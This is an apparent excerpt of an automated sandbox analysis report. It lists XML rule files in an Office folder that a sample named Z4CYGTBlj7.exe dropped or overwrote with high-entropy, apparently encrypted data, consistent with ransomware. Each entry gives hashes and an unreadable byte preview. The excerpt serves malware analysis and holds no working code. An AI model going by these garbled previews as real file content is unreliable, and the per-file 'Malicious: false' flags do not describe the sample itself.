Preview:	<?xml.9Y..{.;mK..7..C.k..].H...Z...c..9.,3...4.,^..... G_.#....h..R.Uf.#.....MV.=`...D..!..xH..3.n.jS)....^7.1kj.js..~..Q.#./..M.^..h..$.'.#B.5..9....0..}X...7.N...(f.S.W u.....M....x.A.o..6.....t..'.Ac b.q...a.........Bn..RV.p..le..8.g=\..j..`-.??e........A.:3.g.9.h.."E..q&.._3\|.90].7(v....+..s....{..3.D.>g...n.k. .c.{..-0X.....%H.F...`nv../l<.=..g_.V.K.Ag`S..F.w..E-E(..x=.Q......NAe.......j....5O...B..3.J\X..R.U.....P..wM3...W....W.~.......kB.I.dC....a..G.....kr....T.....H......hbm....T(..4....i...+....0.C.7G'4.{.....h..zh9.".T.a.q[.X.Y..{.tbjI.........C..NF..6.<..4qj...[...\..Q*=....2..^.A.%..S.G._j.....D...f.......8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120616v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.727797308632099
Encrypted:	false
SSDEEP:	24:z9pTzQKalvW0zljyjPX4PEkUi+YuP9QBTLUVsbD:7zPuvW0zlOjPtZPmAVmD
MD5:	6B0A7E43B99873755D9B7B128B7884C8
SHA1:	91B4F5D83CCCE73DEFA48C6041966AA99D213F5C
SHA-256:	99E861A7D69113BD47A0A546E239AB8CCC05914DD4775401B86600215EC91B3D
SHA-512:	E15BF3EBC7CD0F6BF112A89670A0C483D5DF385121F548A6DF5221921783DBE158727483701DB586A879C67FEAFBED8671A0CBA2E3FB503DD1DAD1AF29B704CB
Malicious:	false
Preview:	<?xml....Zt`.g..H.f.........<(<...bMF.......f....<6D.1.F.....\|......p:....w.]...O.c34...`^.S.[.6.l....".O.A..P...PAL..C@/.)t..Go..dj.....!......AJR`.....{I..[..".V.Ec...vxA<0...n...,...9..S.V...J(A...{!.Dn.k..-.HY...e...%.1..$..cK..y.rb.W..I.i.........I..i.\|..EE....Qn(7...z.L..r..!sb..H.i.K..;1.....C..]&..Z..Sc5i...?B. J(.sP..>....".....\|z.E{k.......&h:..\.6Y..(..6.yp...ud+...x....;e}.......y.A.AQC;.d..:<,....[$...?...!E..^7....'uZg x.xS..u..5i..V.Vd...PEq-q"f..{..59.5....l.1..I.....0....x8...r.T.[...@L.....j..F9S.:R..i..)i...RG.......y.7...?Q...P^.&5.2...Vq..0..........#..Z..''.Z.Wy..b...UO.`..........h..:....w._d...v.....`o.H.}.ku._E..)<..UO.....uxk..{..G.........p-.......I.Cb8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120617v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.697110812736051
Encrypted:	false
SSDEEP:	12:PnEglZZn9VsZvYmUiwXxMFJ3wNRhmzTBNMy9rI6Pfpxjk64hvU5VbY4gEDMoKQsX:PEqZn9VsZvYVhMTghmzTrF9rHPfpC6Od
MD5:	1DCB655F4B3732005AFFBADEC5325D35
SHA1:	85849CE059F94E97FD52A1001428B0C92F72803C
SHA-256:	9B77BD0D40F26894D453513D2BFA39B486A4025ADB6DB84EA7327B542825833A
SHA-512:	586C0C34597BA3F46A7FD29ECC485352210858C8F2981093557B4F1B61AA243543E9270950A9EAFA991B070643F3328475F51413314500E27437D6BEC6914D73
Malicious:	false
Preview:	<?xml.m.7BV-1....o.,..v.;k....by....FmKBpr...b.\|.......&qE...."x..+V..-..i.o.U...EJ..`..D.#.....'..k.V...........UW.....E.K.....u.....D.C.SgN@=.X. .Wzk..~....0..._.]..A...."2......E.&....q~...A.fSD@.t.}..[.CnNe.+.(g.1%..Xl.k..].CA..P...C.}>..Zd...r........~....`......<.Oi.P....-.9......N..&1#.8.......f8.Tg.T..8.B....e3./`$...9..G.,..t...m.../...'J....QU$.S...8Z}.X.[;.^....Cw.3\..[...BwR.w.41.q..c..VE...7{e#.9....BR.\..w..)0...gN..2..^.....J..4.L...^...........E.B....7...X.R..N;/.C.....................Cq.+..Q.qPT#...h.?. .[...oS.hZMG.....\|Q>, ....*+K.l..!.[.V..dB.]....:%J..8....>.K.M..`Q../pV...=...2..<.+W.......1Ym...aF.P.s8..`..e..Z..bt8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120618v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.731193374940647
Encrypted:	false
SSDEEP:	24:2lXYOFEg22gnht5ekhATlQVHqPJFdSnsJsbD:sFEFt5ekhAiVKdwsJmD
MD5:	61F4BFC88178E885F2B25369F4DB996E
SHA1:	EBCAA4C113AE882C702CE6121E7BAA8EE2479796
SHA-256:	1DA7373E042CA00E07D81FBF8EA75CBFA3F6A7F2B5886A94BE26EC02D9A96D27
SHA-512:	AA9E61FD3D58955F3497F947008B1CE6C5AC6C8153DE68CE8D2E678D4D2A5351908BF79ABBE3B32EBDBD584435BEA9D2D33AE6A660BFC8C4E817DECB8F983A1D
Malicious:	false
Preview:	<?xml.....Y7..e-..\|^..}...I.1........"..`E.@(wGy.K.....\Th.@3>.;n.YM...p.U:....R...W...z.~..&.$.sQ...N...!A.{..Nd.U.n.q/cE.}....N...1..m.....u.....o.V.Kt....j....o~L..k.E.h.1..l.......E2...v..45E.Z...Wv`..l.)aw.....=..8.{(.@..)..aQ(..bx....^.....~y7....R.....K`..(2>...lx$h_j2..E.7..<i..D.0..9.~-..F.fg..1.&...U.;....7.../...kjkE.Kp.?.\|UDSk..J...~.67A...o...d...!..6.F.....`V.l....c..t!....m[....Y........Y..`.Q...q.._8P....h.g..W.'..C......c..`.......>w...8u...1.....5...?...X..<.l\|1.....E$.....}.........t. ...mp...ew_.<.....:......-.D.Y...kC ..6.h.J~yAJ3.zY...%.j......in.\....b]^b.X..4..2#.......k......s...F.=@\.......3..........[...aln...1....-Q.;.....DAl.....{.)s....0.x.AQ../.\..5.@I.[q.]..:8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120619v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.684260989989462
Encrypted:	false
SSDEEP:	12:VYCumRtPvG4Ki5hiVbwjakfpbA2Z7oMNFrE/ZWOk6TEMrUEg1Y2d4b/m0lPFgkQ+:VYCvRtPXPYViHzNq/Zv4Ms1YwKisbD
MD5:	4D6199283766DDAC47D66AC45ACB992E
SHA1:	EF77CD21676461B387EE00867A3C03CA040D22C0
SHA-256:	F4510CAA2A4E456451AD0E9E547C8E5F0B2323C01973521D06DF513FCF02AFBB
SHA-512:	833EE3425AFCF7BA2D0B51787E8DBC9D3FDB3DBB9850DF848FED50CB0A28A8907E796BCB40AF980C765FC99383773D4B12F9E14E8CF35BF6CDE57CA3780B4E18
Malicious:	false
Preview:	<?xml..$a".}....bs.VJ.&.^......L.N&..N.......(."c.].7...~-.`R.vQ'..M...........t.;sv..T..(........}J.i.E...([.Y.!.h..`..-B...RYO\|....#.6..K..............^..WB.`.....j.x.w..m.....'.j..&.B.sl.05....6......U..3q>.8^fY...\BH.\|..3l.(.....o..........5.T....LP..C..9&.0....!.v..K.....j.k.......6m..r..h...[P.....S..;....$.p,s...S.1p.Zkh.z.f..pgs\./.....}....6. 4.....V.Q-....hY.8.A0..zWx ..Z...fo.E..4n....C..../.......n..3$.Q.Q..,KWc?.F.....rPM......Hw.C.....o6E&.sv.O..\.=X:...}../................b....\....G...!3.....9S...{...\.;.....Z..h0......G..>d.F......k..3~....yp>.r.......X..]...(.-...%F..t2..%...5z.....<:?...7'..c?a.&.....Z.J<..$.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120620v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.739155866665272
Encrypted:	false
SSDEEP:	24:whBQQ508e1oSLkCDTMHcCu8MlrgQwU150tNr4jj14IcVsbD:whBQQjemfCsHbu8MlrgQ5H0AH14jmD
MD5:	98DB9D8E00B08D1EE13C656516578526
SHA1:	517FC8A33CC3A57A3242EA9BDDC550A0B93DFE54
SHA-256:	9567337DF3256648A7939002095D7CF12B90651D52A9B0B24EB13C8AEB9CEF59
SHA-512:	684326534240FE0219618463C3CB8117476E85E12EB86B00E43304DD2BBFB44BF42E69577582D06C3003DB2F0C97D9D0C5BF4DF6149DDE300D6EFBE118DFF1B1
Malicious:	false
Preview:	<?xml..U{.vt..8.e...oG..&..A[#.e.TWF.....Y.h.:.u...X..7`...w..\|..c:-PW.rd.\|...........&e...$...h....vTMEn.....0..E....QE.Ms.x......H`.I=y.x.........d......w....OZ.J..~.L..:..3\R..$...!.....f.2'd...p\T...e.iO.9..?...4...dg.n.>J5.....^.....g.+..&`..h.K....P.-....Y.9...^......[.".>Gs4i.,I.,.,H.7...Je...G..s..7...^...:..I.G^:.g.S.......J......Px.JP.n....%.x....8..lVYF.....kv.;.?.l....S#..R..w;........y.#..0BpR[~.."..lpX%....]...`..%[.=3.3.2n....K.-.E.. .W.w1H.......a...o.ekAQ.^.r.cVz?..-.......,-.:.L..d...D..x..."H...<L...6.x..... ...........}...u..{....GM...B...b..l..... ,K}.=....q..]...9.w..m..c.=...7......wY.3._#....\|..V....R..;..B..;.+K.L...m..;.?..w.Q.........E.{.<w.....$}.B..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120621v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.696532847983217
Encrypted:	false
SSDEEP:	12:AOeTNqM373Fd2iF4kMrFD7l3SkGOIhpR24LAysb2wT5cUluaUbpEUXRMuL+NcNO3:A/TNqq32m4kMrFPl3hITR2exsXT5F6bI
MD5:	01161D696FEA2612434815B4F8D60F07
SHA1:	A5A7EFEA9A7C909BE9E23DBDB2A008FECD1E2886
SHA-256:	6C549D8CFF5379E96078041703F387E68F1309B26F4110A02019D21B166629AE
SHA-512:	1AB63B92E9476B0BF5E15970CFB516AF5FBBE57D396752086F12E474FD76C059A48B34B268593AFB200AF7B6CAF9C8E2F54DC494AA29C84D7A9DCD5FF5081E81
Malicious:	false
Preview:	<?xml...q'...."_.a%h0.U_\|..!x.A3.\Y.EMV=.C.RJ...=...\pU...r.TJTa..#..,..B.............a.nmI.[.q.......6....._-..;.9pJ.[\.B..~.u.....I/....Yi<o.Rh.e...t`.q.t:Y3x...g.yZO>.A.}......Zu`..\.lu.C.%.ipF.c.$...,.mr..W.q..\|2O.]Qi.k.2-..u.&%1#r.L...5o..Nv...R.,u( ......%.a.Ea..%GL..G...._...Z...4j...5..q..}p...i.?.{XZ.b\|.=.Q[..V(.&..T.. <.V....[.h$..9..F/.._.....S.....(...y.+w....#evP...t.jGH...^....6.eD..C\|..D.b..@:.O[.X...3..#Qo..U....[..P..BB.........^.R......o.1..2o..r...>u..............HC.P.\a......%.J..TQH+.V...Cs...+./...C..u..7..T%J4.........q...K.$h.p..l.iN.......Iz.....0..L(....S.......N..Z)%.yyk....w...L^.=.++.f...).L....U8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120622v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.731536026770313
Encrypted:	false
SSDEEP:	24:o2RpRdpq5Uw49RMJT03DB2IBe/du1d/g7zNEFsbD:7RpPp6U1tB2Qe/dI/yzNEFmD
MD5:	A3C84B0D91D8C27B41C3DEACCD45CC23
SHA1:	3E05F990E20ECFB1DD5B341025B176338994375B
SHA-256:	DE8B19DD885934500B9AA9B7DB35D6BCBD69169A6F1267F042B2CE4D419CA3E7
SHA-512:	58DBE31E8C9109D614FCCDDA1782014C8C659CDBC525BA4D4ADE68280792FA1FC2A549956048482BD8F4CAFAA9768076BE96CE9F6ECA3F3FD11F229822B715A9
Malicious:	false
Preview:	<?xml...w4C6.Jq....v.-..Cq..R..@..?\.Q......P...........~..=.+..D..s6.p..l...XI..VQ..3"......x.&..1..$...j.h.x../..~.n.H.f..9.H...A./~..._..aL..;....v.....-....K...h......E.w..7.=-P.....[.GN..z..)c....y.4.J.....)z.M\|.W.....o....b.............aD]..J....W.(..L.yM..@.~.W.U..ak..t...F...<..o.'S.2...!.t#.\|.2..Fh"_.Y..5{..^~F.sk)y.\<X.>.....p.......-........!/.u..sm..X.8....(.....,....@q.sL$48.1..\|)_...:j...d....2..G..2].&..,........&.O.O.@.dw.F.,m...e.Qc.....W..a.......[...H5.(.....,.........G.EH.zB..Y...vX..&D\|...\|)..Mr.....n......7T9....N.3..cr.g..~..#.]......Y3g....$.........X....5.q..2q...>...Y.Y.=.......-6wEh.)..?..VC...s.1..4.O...\|t^.~...(..m...?.0...Z..O.Lt2%....P.......r...Ge?g%.N<cr...W.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120623v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	797
Entropy (8bit):	7.732253390178574
Encrypted:	false
SSDEEP:	24:h74mGJ5CjH//C/HlZFrHfzh8e6T0ymjCHJsbD:hzY52f/C/HlTHfue6T2YmD
MD5:	692ACCD80FA31C6BA57C67C34D7AC97E
SHA1:	E745B4FFDD13E5FDDB043ED98CAC80F917980CBB
SHA-256:	36EA286B26E4AC53AABEB5DF9792182DBA321FB919945E203EBD0A54DF4A33CD
SHA-512:	0A4BE00A3594AE8D7772E177E99C119219D759D0DDB7C5CA0859C29B6A39D1F52732C913B31CB32F58D2C64F735198CC07860A5CC246E9EEF1EBCB852B85F4DF
Malicious:	false
Preview:	<?xml..y..?.I..U.['.a..yH.,._z.,..}.`v.c.$'....s.=....g...... o...;.}..X~...%..w./.&g.B.p......L...s.5...}o..CI\r6`...Th.......h.7...O.W....j..T...c..&?.)Fq....,$..W.)...$.../..n5Q)1...9.c.t.....jva.....kD.D.].dzkX.z...........%..R3-..........2...o.._...l.....S.J]U.Xk.m.9.nT.[.-..z.,..\.G.J.m.2').N...n....r.kZ....;jK.b...B.C.....!:.:.\|.D.F...C8....I..<.8.D ....D..}i..4.a#.B...nU<.]...`..m......k?.n.`.....k..W....&g..8........(p..W. ...<W.....4N8..2Pq(.j....vV...,."_...!...F.J.?H..El.Q3...@.C..,+...Lz..S...y#g/<D......@.a..l.....2.K}..o..V....j.b..b............^...N..z..a..7..........}...J.Ft..tR.w.....%.@.@h..)._.!...u.._.d.&h..F1.....S,.d.}...4.0..[...A..{P...S....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120624v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.716678622088124
Encrypted:	false
SSDEEP:	24:24Dvbfpel7SwyX2qzfIGWGkf4CD3lqwAqkfAXsbD:TERSwy57lKEdqkfAXmD
MD5:	3D310E8D6D7ECDB99DF5439F9DE47E6D
SHA1:	F67C43641D09B3C9228973ADD49F9220AE6B66C2
SHA-256:	69F8D9DB5D5C376FBA1B6BC684D79DDC33EB7A69682F9395C6163306316489AD
SHA-512:	F2B23806DCD72E300F46FF070360AE12D946D727F92F64528B7522FA4EAED3247C8B2F37BCF1F66C46FD9AC116D05FC4DBEEC3726C17E22A6BA4E2D439B022A9
Malicious:	false
Preview:	<?xmlN.~]......iH;.a...{o..Z......$..:,)3...:.....8..0...!.-..gGU,..G/..w?>w....a..M&..4Z.1/.07....m..t...Hw).....q.>B...VD....%Kd...o.=.I..'.i.T.w....e}4.>.)+..E..L.. ......V...V0..A..6t....S.....c.M#m.l.\|.-...F\R..........V.m...........1...-..\|.Q.........D7...4...3..ew..<W..t>.=.Q..R..3.Fh.>....t..U\/:...J........@....,.O..S..&e.....).......E...N..9.V.S....qH..-m/Q..k).fQ~....R..K.'.=..[.?!a......(F...5S}....,._.y...@].A..ze.......e2.E..w@f...Ai.A.d.N.........~.Q..-Q....(.y.q..........G..+.t`..(....t0.....O.....pp.....PD.._[..._..5...t...$b.C).!.C.j.wW^!..n3M.....}~$B[+F...(.eq..?GL..u.uQ..$......@>O.._#..!#9.-.%..N]t........#.-.(Z.)..D(...S..u.:]{N.&.....nhi..D.!~'.[...fo.s..V.....F.I."..7.\.S8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120625v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.681254330697882
Encrypted:	false
SSDEEP:	12:uCU4zWsZldpYrcAJEda/j0D+sGE2p8we4YFWX+eqFgU174z9TDXVrIIQQscii9a:uCHzBSJ0ab0KnrywCpewGz9TTB9sbD
MD5:	1C3FFE8D8CCD8CEFC9071D4842C30F87
SHA1:	9C17852B23C9694B3FDF1DA77D7A1A6F93E7BA8D
SHA-256:	0733F1E874138EFACAA6FA43953D2F1B333A4C170CE95E40ACE33277131038D6
SHA-512:	536416984B929115612E97FE9DD03C42CA144A1BE1DF7E3B7F6CDDF4940CFCC45F01B5E0D839E3E4371F0960C2EFB4ED80670DB33D0F2957ECD40FBE83268FF9
Malicious:	false
Preview:	<?xml&8$.=.x..,..>..YU.'8[6:...y.O."...2...$.zF"..V..1.(d.R. e..[..Z..l..6...EA{z2!U.O...=...L..8T..B0Vq.D.b.{"m..e....VN.....e.....f..b..&.............A....)e.@$..mf...`...dI....i..0..d...=..W...".j.......Z..$.....kePq.T..R..I\v..x.2.!.s..u..~..{8^..+..<.cz..v..k.05<!RT@..t.q.C...K.........L.K.3c?a....n...T..P-d.....GS.....Z...Cy.`.E.atY......... 2P.`.4....5+Jm.....T,~.[:{.I..H....m./..jM..g..I..u)...+..rBH.....T.=.....Y....%H......}..`....[...R.va..,.1.i./}I.3&v..a/Bz.`l.=..[.2.9..!8........m...CQ..~>E......9.0..3!:.A...2.^?....m+... ..q"n..0oQn...X;...Z.ma..=0.:I>:...-j....BV..........TP^.6.R.{...d9....%...yeY.Lw....O3j..]..B$...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120626v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.707940909450969
Encrypted:	false
SSDEEP:	12:l/NVY63E/Zjfj4ujtX2RPu8d8m4qh6diu6EkZFJAXHzizV28893ndKQscii9a:lT3CZzfFvRmryEJJuHeE88VnFsbD
MD5:	D47643D817B2F9EC8167D2A807AED5E4
SHA1:	BF983CC685C195E6A67F22B5B77A98C6E8F03EF4
SHA-256:	5CA610E7DB03A09E783A80A91BBFEB2813864263AD2BD87E8767E9E877DF1831
SHA-512:	C8386988963D1BF47033EB8D9EF4047D693715502CFD1F0BEB1736DDA209AFBB39FB13A472B51B1CCEDA3D617D47E6043936ADA45027B9E7AFCD06D9E029FE51
Malicious:	false
Preview:	<?xml.....n..t.....^:..}....!X..>}.....%...M..7.S.p3.O..O......uA.`....Y.7S._.....m.^}......N...Gs+V....H(...{.....4..hM...GR7.......Lm...7\.`X..v.W29.O._..4..V........P.Om....7..s....)8.#Ku..u3....\......m.P@......4h....l.>..R..&....{.X....11..s.>.'..r;sM....$?k......y......R.........b..aO.(..69...9y..B..l.%..VJ.{.byk^.,.e.....iT.'..P.,v..sL...0......x...\...@...Id...V.m...,..Vp...\......v.........R...Y.~3..sH.....N..;.6V2.O.$kB..^I.wB".88..+:.u..SfX'...;..b&.....c.x.)....b\|s......`v.tm..8.....=)...........K...>.f.."/O...T...;............:S...C6.%S....~.TH..._q.r..V...`%..%....t_.....yG7......w...[.k...u.p.........j..f.....7.m+.r.7.$(@.N...p_.%.Wk..V..._P#..{...:=.......O..Ei8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120627v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.667268579437731
Encrypted:	false
SSDEEP:	12:5E3h6scoT6efqPFEq2BKxZJ6/3zhP+8KVPKJ9kCIMnL8nnAIqPbso7Qscii9a:u606HPfsNG8KViHkCmnifUsbD
MD5:	80DCF69D13302F4A440CDCAC50364219
SHA1:	C7F84F5502AF24945DC97998E1BD0086FEDB4CDE
SHA-256:	3A61637B2F904F4C0BFAEB6E021BB444ADF8EE62C9D77844AE2A45C1D9FD6752
SHA-512:	291F99EAD637CA21570226F61FDC16F3F4BA2D427C7EE12DC9427D793B0F38D9363AA193BC99CBBA7FD11067B2351FFB73A8C3F094DD1D55A19201C6CB1CCDC0
Malicious:	false
Preview:	<?xml.<..1...c....V..p.- 7^B.{.\(...E..a\u..i.[....s..${.....$..3.5...._...(.P.........k....~$xk#.=..je.+.....x..'k\Z-i.;^..}v... .D}.6....*..8..2{.!..)&.6......5.=.nF..,.s........v..Ec......u..".l8.)v..M......r.U......'...x.....?2.h...B.o.v.S...^.u..l.?#;V..2..".K._..I3,e.F..s.WA gCsl=Q..V(X1..d(.g.~.L..)...I...*.U.....+..+...$.."f..P..4 ...p.l.W'C..}{.r.B..c.O.....9.`.....%...n.D.2.v.g..1~^.(.l.J.gb......mY5....Vw$h...'.L.......~.S...Qq..;......`]..El..Q@y.p......s.......x.................c8B..W0{......zr........L..Er`....3f.&.1G.......u..yvw.F.J.J?...I....7..4.w{!..p^....\|l4.<Q....Z....._.L....GY;O..].,8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120628v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.755533884053192
Encrypted:	false
SSDEEP:	12:jmUJEdN9ZOImHhH/94rFoeDYzoydPxldPjvy55TbxMMAqpeoEVuQscii9a:qUJEL2fooeDY8ydPxbmjx1c5sbD
MD5:	1C57C088576F5CCA074B2E6C550A72A4
SHA1:	C5DA8DB7056C436304B945EA663113BA24AAED0D
SHA-256:	596F943DD5F64C7D899952EC0CF9BE11B7E1E07CFA6FA0B7E31EAF4EB1539971
SHA-512:	B661D529635520829BE685EAFA69CCE172FE488396A4A4BDB2EBF244E3D7159028F0888B12865E05F1FB6E6CF346C1B2C1053D1E33245278F8365EDEDED16703
Malicious:	false
Preview:	<?xml.H.....G.....0..Q.....%.c....Hy....#.j..n..Gyh3......&5.vDdv..i..ek...0t\|...T....Y..m...a.e..Hf..uT; `/p.}.t......P.....'......1.>R.=\?R..&........_.k.....2.-RB..1.\|.r.a.:.F=.8.....!...C....M......~..$..H..J.X.W"..b.}...p....J.=.[..~.....e........l.gd!.:./>&8....M...^.R:s..n.5..W..m;.WQ]L..F....m!.[V.u..~........5.O.y.....)D...=.....C.&...t.pv...:]...VX.g..x...?(...~....E....O.'h Iy.........s.nq.......}.&...k.^GRvL.#}..a.....\._..;0uM}J...5.KO1..Y1.....$.........1..9..(R.#.T.6....Z..D.g..z...!d.z.z..........5..N..T&H.G.Qg.Zk.M.....U.B^&c..h.F6q..`.!.>.k.....A_?...g*3p...}....V\p...F.:. .g........q...:7..U.G...0.O\..I...p(.@..v.......'.b..D....]c.."...u..C..0.>....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120629v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.687693330776881
Encrypted:	false
SSDEEP:	12:45ShMogy2JgSP01RVBXCGDgaus+Kt6jUKVl9zRvINxnSyTFoBYX8xHGVUxUcNoWw:YogtJgZ1RVcGA/Kt6jZVl99AmBYX8xHO
MD5:	780983DE9A2A0D90750487614BE030AD
SHA1:	246AA66D69A31DDF6B429075DE475141583E587B
SHA-256:	671C63F9D1CB4835ADA000A4A2293167F95C4FA8A177BF24217DF2D10B375DE8
SHA-512:	14CD6DAA62FB2FF7A25D59F58DDF32D102959B690F1D6210795992D6846D1D72C5ED45C7A0513497536E6D555467D68F3B4A58393AF0F4DEBC5427E067A0A72E
Malicious:	false
Preview:	<?xml(...E..T.w}..uq.....u.U.O...qT=".'.S.....\|.V.....!H...e.'..!..\S.V7..V..c.p.CE!....8...!."Xl..)..\...t..jX".....9}7.}.L..L.29..o..j..U....GE...(....H..U.6..PxB(.7=.fX#.....,..uiY....7y[.C.{...Z.dPRlA.....s.f;,...uBE......P.x..d... .$.j.k.....?...b.Y......c..<.r..`..\..{"&.[.z..U:M......A.x@./..?(D.?.5F..+..nl..[.*iV.....V.[..-....A{.y....g.L..f....-.....sZ.,.6..aDO..?'...\|...7?E."Z...."N..H...2s....1B....];0.).Qy&E.R.j.u......j:/.F.Nl....,.....<?...N.=.o...r..Eo....%9.1.w.H..[....p...Jtx..M..s%.^....6.......1$.......'\|..L......!.e5....Z2p.v.e2..4.t.....V<...w'...q..l..XxM...;..I...d.d....P{.X.W.P.a...^.+.Z.<BLV.......o...S<..pY..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120630v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	832
Entropy (8bit):	7.748626658750669
Encrypted:	false
SSDEEP:	12:4iThJUsPUFjVDJEV0CFbzVsYCiuGcu1fF2FW70HcBDy8WTSTP3Gop0uWHNh2U6qG:4i5s1V65+d3GcuH2K4x8WTkfsZ6qfsbD
MD5:	F6A4FFEE875D98FE02D1582685138770
SHA1:	6ACECD655B111C7E1378C79EF3925DC564215F92
SHA-256:	AD70C67F524352F056F06461F8CEE106D1E7FA94DA0F98FF3A7C75B9271A8A29
SHA-512:	917E19422950CB2A8D8932D9E16FCA4F3FDB0743D77A2A017FE7156A17B4CC38D8E8F4BEAC75C59108A3210BB27E19DC97AD9F5F488C587BBD1763E827AA09AE
Malicious:	false
Preview:	<?xml.u....\eR..6q..........g..w,..g..K.[.....Br.wM..'R.....p...kZ0.+).B..`..E.Gx..E..bK............@..OW..o........g....i....W..ka1..O.2....t..(D...:..6pz.>\|..p.I.`.b.:s.[.Z.u&.!.1..$.B......R...wI...b..........v..o......WC....p/s..J.O...l.=i.......Y.TK=vfk..(..1.3[....@.._...d.MZ.).~d.R...0.....`.Dqu.=.n.9....B.? h1T...PA..u...O......."....Fxf`.z/..f.....Z".h.....cU..,.W.:.1b(._.........DS.N...Z.>.....k....8n;..N...s......(..x.c..-.(..q...z_.=.LD30...9.'...8.....'......B.<...%...BF..v..n...B'. ,\|8..w..b%...iV..s..g..........y..MG..'].,..:...%q.!..o..HD...e.T.2.g.Al.X?..).....y..x .e...g.=..6....2.@O...^...FNk......"..u.b...8"$@..R..hI..........._..B...f..c...lr.....6...f../........k.*..f.Qp....s.o..%8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120631v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.730148750849286
